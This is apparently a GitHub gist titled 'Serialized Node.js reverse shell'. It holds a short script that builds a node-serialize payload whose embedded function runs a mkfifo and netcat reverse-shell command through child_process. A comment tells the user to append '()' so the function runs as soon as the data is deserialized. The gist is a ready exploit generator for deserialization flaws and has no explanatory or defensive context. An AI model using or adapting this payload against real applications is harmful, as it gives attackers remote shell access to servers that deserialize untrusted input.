Skip to content

Instantly share code, notes, and snippets.

@AdityaChaudhary
Created July 17, 2018 10:16
Show Gist options
  • Save AdityaChaudhary/70bfbd0b0aca84c8ba55a84ac9f5dbc4 to your computer and use it in GitHub Desktop.
Save AdityaChaudhary/70bfbd0b0aca84c8ba55a84ac9f5dbc4 to your computer and use it in GitHub Desktop.
Serialized Node.js reverse shell
var serialize = require('node-serialize');
x = {
test : function(){
require('child_process').execSync("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f", function puts(error, stdout, stderr) {});
}
};
console.log("Serialized: \n" + serialize.serialize(x));
/*
append () after the function closing bracket
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment